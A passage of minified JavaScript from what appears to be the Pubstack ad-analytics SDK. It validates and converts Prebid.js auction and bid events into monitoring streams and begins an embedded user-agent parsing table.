i=Q(e);i.pubstack&&0!=Object.keys(i.pubstack).length?t=i.pubstack:JSON.stringify(i.pubstack)!==JSON.stringify(t)&&q(`Two different pubstack declaration found for a adUnitCode ${i.code}`,i.pubstack,t)})),t})(i);n&&(s.pubstack=n);const o=(e=>{let t;return e.forEach((e=>{const i=Q(e);i.ortb2Imp?t=i.ortb2Imp:JSON.stringify(i.ortb2Imp)!==JSON.stringify(t)&&q(`Two different ortb2imp declaration found for a adUnitCode ${i.code}`,i.ortb2Imp,t)})),t})(i);o&&(s.ortb2Imp=o);return s}(e,s.code),h=(e=>({code:e.code,name:z(e),path:F(e)}))(p),m=r(p.code,e.auctionId),v=e.labels||[],f=(b(g=e.bidderRequests),g.length>0&&g.every((e=>w(e.bidderRequestId))),g);var g;const y=e.bidderRequests.flatMap((t=>{var n;const c=r(s.code,e.auctionId),u=t.gdprConsent,l=t.bidderCode,b=null===(n=e.seatNonBids)||void 0===n?void 0:n.find((e=>e.seat===t.bidderCode)),p=null==b?void 0:b.nonbid.find((e=>e.impid===s.code)),h=t.bids.filter((e=>e.adUnitCode===s.code)).map((t=>{const s=a(t.bidId),n=e.bidsReceived.find((e=>e.requestId===t.bidId)),r=e.noBids.find((e=>e.bidId===t.bidId)),d=e.bidsRejected.find((e=>e.requestId===t.bidId));let b={state:Y.TIMEOUT};if(n){const e=a(s,n.adId);b={adId:n.adId,bidResponseId:e,cpm:n.cpm,currency:n.currency,size:n.size,mediaType:n.mediaType,bidNetRevenue:n.netRevenue,state:Y.BID,timeToRespond:n.timeToRespond,dealId:n.dealId||void 0,advertiserDomains:n.advertiserDomains}}else r?b={state:Y.NO_BID}:d&&(b={state:Y.NO_BID,rejectionReason:d.rejectionReason});return Object.assign({auctionId:c,bidId:s,gdprConsent:u,bidderCode:l,adapterCode:o[l],source:t.src,tags:[G(t.params)].filter(i),customFields:{}},b)}));return p&&h.push({bidId:a(d()),auctionId:c,gdprConsent:u,bidderCode:l,adapterCode:o[l],source:"s2s",tags:[],customFields:{source:"s2s"},state:101===p.statuscode?Y.TIMEOUT:Y.NO_BID}),h})),I={auctionId:m,adUnit:h,refreshIndex:0,sizes:P(p),userId:H(f),pbjsVersion:null!==(c=null===(n=this.pbjsConfig)||void 0===n?void 0:n.version)&&void 0!==c?c:ne,tags:[...L(p)],labels:v,gracePeriod:null!==(l=null===(u=this.pbjsConfig)||void 0===u?void 0:u.gracePeriod)&&void 0!==l?l:se,duration:e.auctionEnd-e.timestamp,bidRequests:y,timeout:e.timeout,customFields:{source:t}};this.onAuctionEndStream.next(I)}))}onBidWon(e){var t;const i=(null===(t=window[this.pbjsConfig.pbjsVariableName])||void 0===t?void 0:t.aliasRegistry)||{},s=Object.assign(Object.assign({},e),{pbstckAdapterCode:i[e.bidderCode],bidNetRevenue:e.netRevenue,dealId:e.dealId||void 0,auctionId:r(e.adUnitCode,e.auctionId),tags:[],customFields:{source:"prebid"}});this.onBidWonStream.next(s)}onBidWonFromSdk(e){const t=Object.assign(Object.assign({},e),{customFields:{source:"sdk"}});this.onBidWonFromSdkStream.next(t)}}const ae=(e,t,i)=>{const s=e;s[i]=s[i]||[];const n=s[i];e.pbstck=e.pbstck||{},e.pbstck.sdk=e.pbstck.sdk||{},e.pbstck.sdk[t]=e.pbstck.sdk[t]||{p:[],q:n},e.pbstck.sdk[t].p=e.pbstck.sdk[t].p||[],e.pbstck.sdk[t].q=e.pbstck.sdk[t].q||n,e.pbstck.sdk[t].q!==n&&(e.pbstck.sdk[t].q=e.pbstck.sdk[t].q.concat(n));const o={cmd:(...i)=>{const s=["cmd",i];(e.pbstck.sdk[t].q||[]).push(s),(e.pbstck.sdk[t].p||[]).forEach((e=>e(s)))}};return e.Pubstack=o,o},de=e=>{const t=[];return JSON.parse(JSON.stringify(e,((e,i)=>{if("object"==typeof i&&null!==i){if(t.includes(i))return;t.push(i)}return i})))},ce={AUCTION_INIT:"auctionInit",AUCTION_END:"auctionEnd",BID_TIMEOUT:"bidTimeout",BID_REQUESTED:"bidRequested",BID_RESPONSE:"bidResponse",BID_WON:"bidWon",NO_BID:"noBid"},ue=new c;function le(e,t,i="prebid"){return{on(s,n){V(`[pbjsIntegration] pbjs.dispatcher (${i}) ${s}`,n),"sdk"===i&&function(e){const t=window.pbstck.scopeId,i=window.pbstck.tagId,s=Object.assign(Object.assign({},e),{source:"collector",type:"log",tagId:i,scopeId:t});ue.next(s)}({id:"sdk-usage",level:"info",message:"sdk usage",eventName:s}),s===ce.AUCTION_END&&t.onAuctionEnd(e.toAuctionEnd(n),i),s===ce.BID_RESPONSE&&t.onBidResponse(e.toBidResponse(n)),s===ce.BID_WON&&"prebid"===i&&t.onBidWon(e.toBidWon(n)),s===ce.BID_WON&&"sdk"===i&&t.onBidWonFromSdk(e.toBidWonFromSdk(n))}}}function be(e){let t;if(void 0!==e)if(p(e))t=e;else if(h(e)){const i=Number(e);isNaN(i)||(t=i)}return void 0!==t?Math.trunc(t):t}function pe(e){try{return b(t=e,i),t.every((e=>g(e))),e}catch(e){return}var t,i}function he(e){try{return k(e),e}catch(e){return{}}}function me(e){try{return v(e),e}catch(e){return void V("Error on validator but not throwing since not mandatory",e.message)}}function ve(){const e=e=>{var t,i;k(e,"Auction event's adUnits should all be objects"),g(e.code,'Auction event\'s adUnits should all have a key "code" as a string'),b(e.bids,'Auction event\'s adUnits should all have a key "bids" as an array');const s=e.bids.map((t=>{try{return(e=>{var t;k(e,"Auction event's adUnits bidders should all be objects"),g(e.bidder,'Auction event\'s adUnits bidders should all have a key "bidder" as a string');const i=null!==(t=e.params)&&void 0!==t?t:{};return k(i,'Auction event\'s adUnits bidders should all have a key "params" as an object'),{bidder:e.bidder,params:i}})(t)}catch(t){return void q(`[pbjsIntegration] Discarding bidder from ${e.code}`,t)}})).filter((e=>void 0!==e)),n={};if(e.mediaTypes){if(k(e.mediaTypes,'Auction event\'s adUnits should all have a key "mediaTypes" as an object'),e.mediaTypes.banner){k(e.mediaTypes.banner,'Auction event\'s adUnits mediaTypes can all have a key "banner" that should be an object');const i=null!==(t=e.mediaTypes.banner.sizes)&&void 0!==t?t:[];b(i,'Auction event\'s adUnits mediaTypes banner should all have a key "sizes" that should be an array');const s=i.filter((e=>Array.isArray(e)&&2===e.length)).map((e=>{try{return b(e),[parseInt(e[0]),parseInt(e[1])]}catch(e){return[0,0]}}));n.banner={sizes:s,sizeConfig:e.mediaTypes.banner.sizeConfig}}if(e.mediaTypes.native&&(n.native={sizes:"native"}),e.mediaTypes.video&&(k(e.mediaTypes.video,'Auction event\'s adUnits mediaTypes can all have a key "video" that should be an object'),e.mediaTypes.video.playerSize)){b(e.mediaTypes.video.playerSize,'Auction event\'s adUnits mediaTypes video should all have a key "playerSize" that should be an array');const t=(null!==(i=e.mediaTypes.video.playerSize)&&void 0!==i?i:[]).filter((e=>Array.isArray(e)&&2===e.length));n.video={playerSize:t}}}const o={bids:s,code:e.code,mediaTypes:n},r=e.pubstack;void 0!==r&&(k(r),o.pubstack=r);const a=(e=>{if(!C(e,"ortb2Imp"))return;const t=e.ortb2Imp;if(!C(t,"ext"))return;const i=t.ext;if(!C(i,"data"))return;const s=i.data;return C(s,"pbadslot")&&h(s.pbadslot)?{ext:{data:{pbadslot:s.pbadslot}}}:void 0})(e);return a&&(o.ortb2Imp=a),o},t=e=>{k(e,"Auction event's bidderRequests should all be objects"),g(e.bidderRequestId,'Auction event\'s bidderRequests should all have a key "bidderRequestId" as a string'),g(e.bidderCode,'Auction event\'s bidderRequests should all have a key "bidderCode" as a string'),b(e.bids,'Auction event\'s bidderRequests should all have a key "bids" as an array');const t=e.bids.map((t=>{try{return i(t,"Auction event's bidderRequests")}catch(t){return void q(`[pbjsIntegration] Discarding bid request from ${e.bidderRequestId}`,t)}})).filter((e=>void 0!==e)),s={bidderRequestId:e.bidderRequestId,bids:t,bidderCode:e.bidderCode};return e.gdprConsent&&(s.gdprConsent=e.gdprConsent),s},i=(e,t)=>{var i,s,n;k(e,t+"'s bids should all be objects"),g(e.adUnitCode,t+' bids should all have a key "adUnitCode" as a string'),g(e.bidId,t+' bids should all have a key "bidId" as a string'),g(e.bidder,t+' bids should all have a key "bidder" as a string');const o=null!==(i=e.params)&&void 0!==i?i:{};k(o,t+' bids can all have a key "params" that should be an object');const r=null!==(s=e.userId)&&void 0!==s?s:{};k(r,t+' bids can all have a key "userId" that should be an object');const a=null!==(n=e.crumbs)&&void 0!==n?n:{};return k(a,t+' bids can all have a key "crumbs" that should be an object'),v(e.src),{adUnitCode:e.adUnitCode,bidId:e.bidId,bidder:e.bidder,params:o,userId:r,crumbs:a,src:e.src}};return{toBidRejected:e=>(k(e,"BidRejected event should be an object"),g(e.requestId,'BidRequested event should have a "requestId" key as a string'),g(e.rejectionReason,'BidRejected event should have a "rejectionReason" key as a string'),{requestId:e.requestId,rejectionReason:e.rejectionReason}),toSeatNonBid:function(e){return k(e,"SeatNonBid event should be an object"),g(e.seat,'SeatNonBid event should have a "seat" key as a string'),b(e.nonbid,'SeatNonBid event should have a "seat" key as a string'),e.nonbid.map((t=>{try{return k(t,"Nonbid should be an object"),g(t.impid,'Nonbid should have a "impid" key as a string'),m(t.statuscode,'Nonbid should have a "statuscode" key as a number'),{impid:t.impid,statuscode:t.statuscode}}catch(t){return void q(`[pbjsIntegration] Discarding Nonbid from auction event ${e.auctionId}`,t)}})).filter((e=>void 0!==e)),{seat:e.seat,nonbid:e.nonbid}},toAuctionEnd:function(i){let s,n,o=[];k(i,"Auction event should be an object"),g(i.auctionId,'Auction event should have a "auctionId" key as a string'),b(i.adUnits,'Auction event should have a "adUnits" key as a non-empty array'),y(i.adUnits,'Auction event should have a "adUnits" key as a non-empty array'),void 0!==i.labels&&(b(i.labels,'Auction event can have a "labels" key that should be an array'),n=i.labels),b(i.bidderRequests,'Auction event should have a "bidderRequests" key as a non-empty array'),y(i.bidderRequests,'Auction event should have a "bidderRequests" key as a non-empty array');const r=be(i.timeout);i.timeout&&!r&&q(`[pbjsIntegration] unable to read timeout from auction event ${i.auctionId}`);const a=i.adUnits.map((t=>{try{return e(t)}catch(e){return void q(`[pbjsIntegration] Discarding adUnit from auction event ${i.auctionId}`,e)}})).filter((e=>void 0!==e)),d=i.bidderRequests.map((e=>{try{return t(e)}catch(e){return void q(`[pbjsIntegration] Discarding bidderRequest from auction event ${i.auctionId}`,e)}})).filter((e=>void 0!==e));b(i.bidsReceived,'Auction event should have a "bidsReceived" key as a non-empty array');const c=i.bidsReceived.map((e=>{try{return this.toBidResponse(e)}catch(e){return void q(`[pbjsIntegration] Discarding bidReceived from auction event ${i.auctionId}`,e)}})).filter((e=>void 0!==e));b(i.adUnitCodes,'Auction event should have a "adUnitCodes" key as a non-empty array'),y(i.adUnitCodes,'Auction event should have a "adUnitCodes" key as a non-empty array');try{b(i.bidsRejected,'Auction event should have a "bidsRejected" key as an array'),o=i.bidsRejected.map((e=>{try{return this.toBidRejected(e)}catch(e){return void q(`[pbjsIntegration] Discarding bidRejected from auction event ${i.auctionId}`,e)}})).filter((e=>void 0!==e))}catch(e){V("Error on validator but not throwing since not mandatory",e.message)}b(i.noBids,'Auction event should have a "noBids" key as an array');const u=i.noBids.map((e=>{try{return this.toNoBid(e)}catch(e){return void q(`[pbjsIntegration] Discarding noBid from auction event ${i.auctionId}`,e)}})).filter((e=>void 0!==e));try{b(i.seatNonBids,'Auction event should have a "noBids" key as an array'),s=i.seatNonBids.map((e=>{try{return this.toSeatNonBid(e)}catch(e){return void q(`[pbjsIntegration] Discarding SeatNonBids from auction event ${i.auctionId}`,e)}})).filter((e=>void 0!==e))}catch(e){V("Error on validator but not throwing since not mandatory",e.message)}return function(e,t,i){if(!t.includes(e))throw new l(`Expected values to be one of '${t}', but received ${e}`)}(i.auctionStatus,["completed","inProgress","started"]),m(i.auctionEnd),m(i.timestamp),{auctionId:i.auctionId,bidderRequests:d,adUnits:a,labels:n,timeout:r,auctionEnd:i.auctionEnd,auctionStatus:i.auctionStatus,noBids:u,adUnitCodes:i.adUnitCodes,bidsRejected:o,bidsReceived:c,timestamp:i.timestamp,winningBids:[],seatNonBids:s}},toAuction:function(i){let s;k(i,"Auction event should be an object"),g(i.auctionId,'Auction event should have a "auctionId" key as a string'),b(i.adUnits,'Auction event should have a "adUnits" key as a non-empty array'),y(i.adUnits,'Auction event should have a "adUnits" key as a non-empty array'),void 0!==i.labels&&(b(i.labels,'Auction event can have a "labels" key that should be an array'),s=i.labels),b(i.bidderRequests,'Auction event should have a "bidderRequests" key as a non-empty array'),y(i.bidderRequests,'Auction event should have a "bidderRequests" key as a non-empty array');const n=be(i.timeout);i.timeout&&!n&&q(`[pbjsIntegration] unable to read timeout from auction event ${i.auctionId}`);const o=i.adUnits.map((t=>{try{return e(t)}catch(e){return void q(`[pbjsIntegration] Discarding adUnit from auction event ${i.auctionId}`,e)}})).filter((e=>void 0!==e)),r=i.bidderRequests.map((e=>{try{return t(e)}catch(e){return void q(`[pbjsIntegration] Discarding bidderRequest from auction event ${i.auctionId}`,e)}})).filter((e=>void 0!==e));return{auctionId:i.auctionId,bidderRequests:r,adUnits:o,labels:s,timeout:n}},toBidRequested(e){k(e,"BidRequested event should be an object"),g(e.auctionId,'BidRequested event should have a "auctionId" key as a string'),b(e.bids,'BidRequested event should have a "bids" key as an array');const t=e.bids.map((t=>{try{return i(t,"BidRequested event")}catch(t){return void q(`[pbjsIntegration] Discarding bid request from bid requested event ${e.auctionId}`,t)}})).filter((e=>void 0!==e)),s={auctionId:e.auctionId,bids:t};return e.gdprConsent&&(s.gdprConsent=e.gdprConsent),s},toBidResponse(e){var t;k(e,"BidResponse event should be an object"),g(e.auctionId,'BidRequested event should have a "auctionId" key as a string'),g(e.adUnitCode,'BidRequested event should have a "adUnitCode" key as a string'),g(e.adId,'BidRequested event should have a "adId" key as a string'),g(e.requestId,'BidRequested event should have a "requestId" key as a string');const i=h(e.cpm)?Number.parseFloat(e.cpm):e.cpm;let s;const n=me(e.dealId);m(i,'BidRequested event should have a "cpm" key as a number');let o,r=e.size;"string"!=typeof r&&(r=e.width&&e.height?`${e.width}x${e.height}`:"unknown"),g(e.mediaType,'BidRequested event should have a "mediaType" key as a string'),g(r,'BidRequested event should have a "size" key as a string'),h(e.currency)&&(o=e.currency),g(e.bidderCode,'BidResponse event should have a "bidderCode" key as a string'),function(e,t){if(null!=e&&!p(e))throw new l("Expected value to be a number, but received "+typeof e)}(e.timeToRespond),f(e.netRevenue);const a=pe(he(e.meta).advertiserDomains);try{g(e.adapterCode,'BidWon event should have a "bidderCode" key as a string'),s=e.adapterCode}catch(e){V("Error on validator but not throwing since not mandatory",e.message)}return{adId:e.adId,adUnitCode:e.adUnitCode,auctionId:e.auctionId,cpm:i,currency:o,requestId:e.requestId,size:r,bidderCode:e.bidderCode,mediaType:null!==(t=e.mediaType)&&void 0!==t?t:"banner",timeToRespond:e.timeToRespond,adapterCode:s,netRevenue:e.netRevenue,dealId:n,advertiserDomains:a}},toBidTimeout(e){b(e,"BidTimeout event should be an array");const t=[];return e.forEach((e=>{try{k(e,"BidTimeout events should all be objects"),g(e.adUnitCode,'BidTimeout events should all have a key "adUnitCode" as a string'),g(e.auctionId,'BidTimeout events should all have a key "auctionId" as a string'),g(e.bidId,'BidTimeout events should all have a key "bidId" as a string'),t.push({adUnitCode:e.adUnitCode,auctionId:e.auctionId,bidId:e.bidId})}catch(t){V("Discarding bid timeout event because ",t.message,e)}})),t},toNoBid:e=>(k(e,"NoBid event should be an object"),g(e.auctionId,'NoBid event should have a "auctionId" key as a string'),g(e.bidId,'NoBid event should have a "bidId" key as a string'),g(e.adUnitCode,'NoBid event should have a "adUnitCode" key as a string'),{bidId:e.bidId,adUnitCode:e.adUnitCode,auctionId:e.auctionId}),toBidWon(e){var t;let i,s,n,o,r,a;k(e,"BidWon event should be an object"),g(e.adId,'BidWon event should have a "adId" key as a string'),g(e.requestId,'BidWon event should have a "requestId" key as a string');const d=me(e.dealId);h(e.currency)&&(a=e.currency);const c=h(e.cpm)?Number.parseFloat(e.cpm):e.cpm;m(c,'BidRequested event should have a "cpm" key as a number'),g(e.mediaType,'BidRequested event should have a "mediaType" key as a string'),g(e.size,'BidWon event should have a "size" key as a string'),r=e.size,g(e.auctionId,'BidWon event should have a "auctionId" key as a string'),i=e.auctionId,g(e.adUnitCode,'BidWon event should have a "adUnitCode" key as a string'),s=e.adUnitCode;try{g(e.bidderCode,'BidWon event should have a "bidderCode" key as a string'),n=e.bidderCode}catch(e){V("Error on validator but not throwing since not mandatory for monitoring (only for refresh)",e.message)}try{g(e.adapterCode,'BidWon event should have a "bidderCode" key as a string'),o=e.adapterCode}catch(e){V("Error on validator but not throwing since not mandatory",e.message)}f(e.netRevenue),v(e.source);const u=pe(he(e.meta).advertiserDomains);return{adId:e.adId,adUnitCode:s,auctionId:i,bidderCode:n,adapterCode:o,size:r,requestId:e.requestId,currency:a,cpm:c,mediaType:null!==(t=e.mediaType)&&void 0!==t?t:"banner",dealId:d,netRevenue:e.netRevenue,source:e.source,advertiserDomains:u}},toBidWonFromSdk:e=>(k(e,"BidWon event should be an object"),g(e.adId,'BidWon event should have a "adId" key as a string'),{adId:e.adId})}}const fe=(e,t)=>{const i=ve(),s=new re(void 0),n=le(i,s,"sdk");t.bindIntegration(s),e.subscribe((([e,[t]])=>{try{n.on(e,t)}catch(e){e.context=e.context||{},e.context.pbjs={source:"sdk:pbjs"},E(e)}}))};function ge(e,t,i){const s=new c,n=[];ae(e,i.tagId,i.globalQueue);const o=e[i.globalQueue],r=t=>{!function(e,t){if(void 0!==e)throw new l(null!=t?t:`Expected value to be undefined, but received ${e}`)}(Object.values(e.pbstck.sdk).find((t=>t!==e.pbstck.sdk[i.tagId]&&t.q===o)),`Concurrency on '${i.globalQueue}' globalQueue (more than 1 destination configured)`),s.next([t[0],de(Object.values(t[1]))])};return s.subscribe(((...e)=>n.push(e))),fe(s.pipe(...u(/cmd/)).pipe(...u(/pbjs|prebid/)),t),{debug:()=>({events:n}),dispatchEvents:()=>{e.pbstck.sdk[i.tagId].q.forEach(r),e.pbstck.sdk[i.tagId].p.push(r)}}}const we=(e,t)=>{if(!e||!t)throw new Error("IllegalArgumentException");return`${e}_${t}`};var ye,Ie="",ke="function",Ce="undefined",Ae="object",Re="string",Te="major",Se="model",Ee="name",Ue="type",je="vendor",xe="version",Be="architecture",Ne="console",Oe="mobile",Ve="tablet",qe="smarttv",$e="wearable",De="embedded",ze="user-agent",Fe=500,Me="brands",_e="formFactors",Pe="fullVersionList",We="platform",Le="platformVersion",Ge="bitness",He="sec-ch-ua",Je=He+"-full-version-list",Xe=He+"-arch",Qe=He+"-"+Ge,Ke=He+"-form-factors",Ye=He+"-"+Oe,Ze=He+"-"+Se,et=He+"-"+We,tt=et+"-version",it=[Me,Pe,Oe,Se,We,Le,Be,_e,Ge],st="browser",nt="cpu",ot="device",rt="engine",at="os",dt="result",ct="Amazon",ut="Apple",lt="ASUS",bt="BlackBerry",pt="Google",ht="Huawei",mt="Lenovo",vt="LG",ft="Microsoft",gt="Motorola",wt="Samsung",yt="Sharp",It="Sony",kt="Xiaomi",Ct="Zebra",At="Mobile ",Rt=" Browser",Tt="Chrome",St="Firefox",Et="Opera",Ut="Facebook",jt="Sogou",xt="Windows",Bt=typeof window!==Ce&&window.navigator?window.navigator:void 0,Nt=Bt&&Bt.userAgentData?Bt.userAgentData:void 0,Ot=function(e,t){var i={},s=t;if(!$t(t))for(var n in s={},t)for(var o in t[n])s[o]=t[n][o].concat(s[o]?s[o]:[]);for(var r in e)i[r]=s[r]&&s[r].length%2==0?s[r].concat(e[r]):e[r];return i},Vt=function(e){for(var t={},i=0;i<e.length;i++)t[e[i].toUpperCase()]=e[i];return t},qt=function(e,t){if(typeof e===Ae&&e.length>0){for(var i in e)if(Ft(e[i])==Ft(t))return!0;return!1}return!!Dt(e)&&-1!==Ft(t).indexOf(Ft(e))},$t=function(e,t){for(var i in e)return/^(browser|cpu|device|engine|os)$/.test(i)||!!t&&$t(e[i])},Dt=function(e){return typeof e===Re},zt=function(e){if(e){for(var t=[],i=Pt(/\\?\"/g,e).split(","),s=0;s<i.length;s++)if(i[s].indexOf(";")>-1){var n=Lt(i[s]).split(";v=");t[s]={brand:n[0],version:n[1]}}else t[s]=Lt(i[s]);return t}},Ft=function(e){return Dt(e)?e.toLowerCase():e},Mt=function(e){return Dt(e)?Pt(/[^\d\.]/g,e).split(".")[0]:void 0},_t=function(e){for(var t in e){var i=e[t];typeof i==Ae&&2==i.length?this[i[0]]=i[1]:this[i]=void 0}return this},Pt=function(e,t){return Dt(t)?t.replace(e,Ie):t},Wt=function(e){return Pt(/\\?\"/g,e)},Lt=function(e,t){if(Dt(e))return e=Pt(/^\s\s*/,e),typeof t===Ce?e:e.substring(0,Fe)},Gt=function(e,t){if(e&&t)for(var i,s,n,o,r,a,d=0;d<t.length&&!r;){var c=t[d],u=t[d+1];for(i=s=0;i<c.length&&!r&&c[i];)if(r=c[i++].exec(e))for(n=0;n<u.length;n++)a=r[++s],typeof(o=u[n])===Ae&&o.length>0?2===o.length?typeof o[1]==ke?this[o[0]]=o[1].call(this,a):this[o[0]]=o[1]:3===o.length?typeof o[1]!==ke||o[1].exec&&o[1].test?this[o[0]]=a?a.replace(o[1],o[2]):void 0:this[o[0]]=a?o[1].call(this,a,o[2]):void 0:4===o.length&&(this[o[0]]=a?o[3].call(this,a.replace(o[1],o[2])):void 0):this[o]=a||void 0;d+=2}},Ht=function(e,t){for(var i in t)if(typeof t[i]===Ae&&t[i].length>0){for(var s=0;s<t[i].length;s++)if(qt(t[i][s],e))return"?"===i?void 0:i}else if(qt(t[i],e))return"?"===i?void 0:i;return t.hasOwnProperty("*")?t["*"]:e},Jt={ME:"4.90","NT 3.11":"NT3.51","NT 4.0":"NT4.0",2e3:"NT 5.0",XP:["NT 5.1","NT 5.2"],Vista:"NT 6.0",7:"NT 6.1",8:"NT 6.2",8.1:"NT 6.3",10:["NT 6.4","NT 10.0"],RT:"ARM"},Xt={embedded:"Automotive",mobile:"Mobile",tablet:["Tablet","EInk"],smarttv:"TV",wearable:"Watch",xr:["VR","XR"],"?":["Desktop","Unknown"],"*":void 0},Qt={browser:[[/\b(?:crmo|crios)\/([\w\.]+)/i],[xe,[Ee,At+"Chrome"]],[/edg(?:e|ios|a)?\/([\w\.]+)/i],[xe,[Ee,"Edge"]],[/(opera mini)\/([-\w\.]+)/i,/(opera [mobiletab]{3,6})\b.+version\/([-\w\.]+)/i,/(opera)(?:.+version\/|[\/ ]+)([\w\.]+)/i],[Ee,xe],[/opios[\/ ]+([\w\.]+)/i],[xe,[Ee,Et+" Mini"]],[/\bop(?:rg)?x\/([\w\.]+)/i],[xe,[Ee,Et+" GX"]],[/\bopr\/([\w\.]+)/i],[xe,[Ee,Et]],[/\bb[ai]*d(?:uhd|[ub]*[aekoprswx]{5,6})[\/ ]?([\w\.]+)/i],[xe,[Ee,"Baidu"]],[/(kindle)\/([\w\.]+)/i,/(lunascape|maxthon|netfront|jasmine|blazer|sleipnir)[\/ ]?([\w\.]*)/i,/(avant|iemobile|slim)\s?(?:browser)?[\/ ]?([\w\.]*)/i,/(?:ms|\()(ie) ([\w\.]+)/i,/(flock|rockmelt|midori|epiphany|silk|skyfire|ovibrowser|bolt|iron|vivaldi|iridium|phantomjs|bowser|quark|qupzilla|falkon|rekonq|puffin|brave|whale(?!.+naver)|qqbrowserlite|duckduckgo|klar)\/([-\w\.]+)/i,/(heytap|ovi)browser\/([\d\.]+)/i,/(weibo)__([\d\.]+)/i],[Ee,xe],[/\bddg\/([\w\.]+)/i],[xe,[Ee,"DuckDuckGo"]],[/(?:\buc? ?browser|(?:juc.+)ucweb)[\/ ]?([\w\.]+)/i],[xe,[Ee,"UCBrowser"]],[/microm.+\bqbcore\/([\w\.]+)/i,/\bqbcore\/([\w\.]+).+microm/i,/micromessenger\/([\w\.]+)/i],[xe,[Ee,"WeChat"]],[/konqueror\/([\w\.]+)/i],[xe,[Ee,"Konqueror"]],[/trident.+rv[: ]([\w\.]{1,9})\b.+like gecko/i],[xe,[Ee,"IE"]],[/ya(?:search)?browser\/([\w\.]+)/i],[xe,[Ee,"Yandex"]],[/slbrowser\/([\w\.]+)/i],[xe,[Ee,"Smart "+mt+Rt]],[/(avast|avg)\/([\w\.]+)/i],[[Ee,/(.+)/,"$1 Secure"+Rt],xe],[/\bfocus\/([\w\.]+)/i],[xe,[Ee,St+" Focus"]],[/\bopt\/([\w\.]+)/i],[xe,[Ee,Et+" Touch"]],[/coc_coc\w+\/([\w\.]+)/i],[xe,[Ee,"Coc Coc"]],[/dolfin\/([\w\.]+)/i],[xe,[Ee,"Dolphin"]],[/coast\/([\w\.]+)/i],[xe,[Ee,Et+" Coast"]],[/miuibrowser\/([\w\.]+)/i],[xe,[Ee,"MIUI"+Rt]],[/fxios\/([\w\.-]+)/i],[xe,[Ee,At+St]],[/\bqihu|(qi?ho?o?|360)browser/i],[[Ee,"360"+Rt]],[/\b(qq)\/([\w\.]+)/i],[[Ee,/(.+)/,"$1Browser"],xe],[/(oculus|sailfish|huawei|vivo|pico)browser\/([\w\.]+)/i],[[Ee,/(.+)/,"$1"+Rt],xe],[/samsungbrowser\/([\w\.]+)/i],[xe,[Ee,wt+" Internet"]],[/(comodo_dragon)\/([\w\.]+)/i],[[Ee,/_/g," "],xe],[/metasr[\/ ]?([\d\.]+)/i],[xe,[Ee,jt+" Explorer"]],[/(sogou)mo\w+\/([\d\.]+)/i],[[Ee,jt+" Mobile"],xe],[/(electron)\/([\w\.]+) safari/i,/(tesla)(?: qtcarbrowser|\/(20\d\d\.[-\w\.]+))/i,/m?(qqbrowser|2345Explorer)[\/ ]?([\w\.]+)/i],[Ee,xe],[/(lbbrowser|rekonq)/i,/\[(linkedin)app\]/i],[Ee],[/((?:fban\/fbios|fb_iab\/fb4a)(?!.+fbav)|;fbav\/([\w\.]+);)/i],[[Ee,Ut],xe],[/(Klarna)\/([\w\.]+)/i,/(kakao(?:talk|story))[\/ ]([\w\.]+)/i,/(naver)\(.*?(\d+\.[\w\.]+).*\)/i,/safari (line)\/([\w\.]+)/i,/\b(line)\/([\w\.]+)\/iab/i,/(alipay)client\/([\w\.]+)/i,/(twitter)(?:and| f.+e\/([\w\.]+))/i,/(chromium|instagram|snapchat)[\/ ]([-\w\.]+)/i],[Ee,xe],[/\bgsa\/([\w\.]+) .*safari\//i],[xe,[Ee,"GSA"]],[/musical_ly(?:.+app_?version\/|_)([\w\.]+)/i],[xe,[Ee,"TikTok"]],[/headlesschrome(?:\/([\w\.]+)| )/i],[xe,[Ee,Tt+" Headless"]],[/ wv\).+(chrome)\/([\w\.]+)/i],[[Ee,Tt+" WebView"],xe],[/droid.+ version\/([\w\.]+)\b.+(?:mobile safari|safari)/i],[xe,[Ee,"Android"+Rt]],[/chrome\/([\w\.]+) mobile/i],[xe,[Ee,At+"Chrome"]],[/(chrome|omniweb|arora|[tizenoka]{5} ?browser)\/v?([\w\.]+)/i],[Ee,xe],[/version\/([\w\.\,]+) .*mobile(?:\/\w+ | ?)safari/i],[xe,[Ee,At+"Safari"]],[/iphone .*mobile(?:\/\w+ | ?)safari/i],[[Ee,At+"Safari"]],[/version\/([\w\.\,]+) .*(safari)/i],[xe,Ee],[/webkit.+?(mobile ?safari|safari)(\/[\w\.]+)/i],[Ee,[xe,"1"]],[/(webkit|khtml)\/([\w\.]+)/i],[Ee,xe],[/(?:mobile|tablet);.*(firefox)\/([\w\.-]+)/i],[[Ee,At+St],xe],[/(navigator|netscape\d?)\/([-\w\.]+)/i],[[Ee,"Netscape"],xe],[/(wolvic)\/([\w\.]+)/i],[Ee,xe],[/mobile vr; rv:([\w\.]+)\).+firefox/i],[xe,[Ee,St+" Reality"]],[/ekiohf.+(flow)\/([\w\.]+)/i,/(swiftfox)/i,/(icedragon|iceweasel|camino|chimera|fennec|maemo browser|minimo|conkeror)[\/ ]?([\w\.\+]+)/i,/(seamonkey|k-meleon|icecat|iceape|firebird|phoenix|palemoon|basilisk|waterfox)\/([-\w\.]+)$/i,/(firefox)\/([\w\.]+)/i,/(mozilla)\/([\w\.]+) .+rv\:.+gecko\/\d+/i,/(polaris|lynx|dillo|icab|doris|amaya|w3m|netsurf|obigo|mosaic|(?:go|ice|up)[\. ]?browser)[-\/ ]?v?([\w\.]+)/i,/(links) \(([\w\.]+)/i],[Ee,[xe,/_/g,"."]],[/(cobalt)\/([\w\.]+)/i],[Ee,[xe,/[^\d\.]+./,Ie]]],cpu:[[/\b(?:(amd|x|x86[-_]?|wow|win)64)\b/i],[[Be,"amd64"]],[/(ia32(?=;))/i,/((?:i[346]|x)86)[;\)]/i],[[Be,"ia32"]],[/\b(aarch64|arm(v?8e?l?|_?64))\b/i],[[Be,"arm64"]],[/\b(arm(?:v[67])?ht?n?[fl]p?)\b/i],[[Be,"armhf"]],[/windows (ce|mobile); ppc;/i],[[Be,"arm"]],[/((?:ppc|powerpc)(?:64)?)(?: mac|;|\))/i],[[Be,/ower/,Ie,Ft]],[/(sun4\w)[;\)]/i],[[Be,"sparc"]],[/((?:avr32|ia64(?=;))|68k(?=\))|\barm(?=v(?:[1-7]|[5-7]1)l?|;|eabi)|(?=atmel )avr|(?:irix|mips|sparc)(?:64)?\b|pa-risc)/i],[[Be,Ft]]],device:[[/\b(sch-i[89]0\d|shw-m380s|sm-[ptx]\w{2,4}|gt-[pn]\d{2,4}|sgh-t8[56]9|nexus 10)/i],[Se,[je,wt],[Ue,Ve]],[/\b((?:s[cgp]h|gt|sm)-\w+|sc[g-]?[\d]+a?|galaxy nexus)/i,/samsung[- 